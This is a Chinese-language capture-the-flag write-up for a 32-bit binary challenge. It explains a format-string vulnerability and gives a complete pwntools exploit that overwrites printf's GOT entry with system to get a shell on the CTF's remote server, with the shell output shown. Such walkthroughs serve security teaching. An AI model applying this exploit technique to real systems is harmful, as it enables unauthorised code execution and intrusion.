pwn-300之前有一道pwn-200,也具有canary保护及NX保护,但是直接给了system(‘/bin/sh’)的函数,所以问题的关键就在于如何使程序转向该函数地址执行;幸运的是该程序同时具有格式化字符串漏洞。所以最后的思路就是,第一次输入,格式化字符串漏洞泄露canary,第二次输入溢出到函数返回地址即可。
而这道题将输入由gets变为fgets,也就是即使泄露出canary也无法溢出利用(canary必定以/x00结尾),同时没有了现成的system(‘/bin/sh’)函数。
查看内容及保护
main函数为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+Ch] [ebp-4Ch] unsigned int v5; // [esp+4Ch] [ebp-Ch]
v5 = __readgsdword(0x14u); //canary生成 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); fgets(&s, 64, stdin); //fgets,遇/x00停止 printf(&s); //格式化字符串漏洞 fgets(&s, 64, stdin); printf(&s); return 0; }
|
查看文件保护
仍然是canary 与 栈不可执行;
1 2 3 4 5 6 7
| root@xuewenjie-kali:~/tikool# checksec binary_300 [*] '/root/tikool/binary_300' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
查看加载函数
发现system函数
确定思路
想到可以使用格式化字符串覆盖某个函数的got表地址,看下程序流程,想到可以覆盖printf函数的got地址,在第二次输入’/bin/sh’,原先的printf(/bin/sh)就会变成system(/bin/sh),获取shell;
流程实现
确定字符串位置
1 2 3
| root@xuewenjie-kali:~/tikool# ./binary_300 aaaa%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x aaaa00000040.f7f285c0.00000000.00000000.00000000.00000000.61616161.78383025.3830252e
|
即字符串位于第六(相对于)或第七个(相对于)
exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
#sh = process('./binary_300') sh = remote('bamboofox.cs.nctu.edu.tw',22003) libc = ELF('./binary_300')
printf_got = libc.got['printf'] system_add = libc.symbols['system']
payload = fmtstr_payload(7, {printf_got: system_add}) //pwntools自带,用于生成格式化字符串payload;
print payload sh.sendline(payload)
sh.recv() sh.sendline('/bin/sh') sh.interactive()
|
成功获得shell
1 2 3 4 5
| [*] Switching to interactive mode $ /bin/sh $ whoami ctf $
|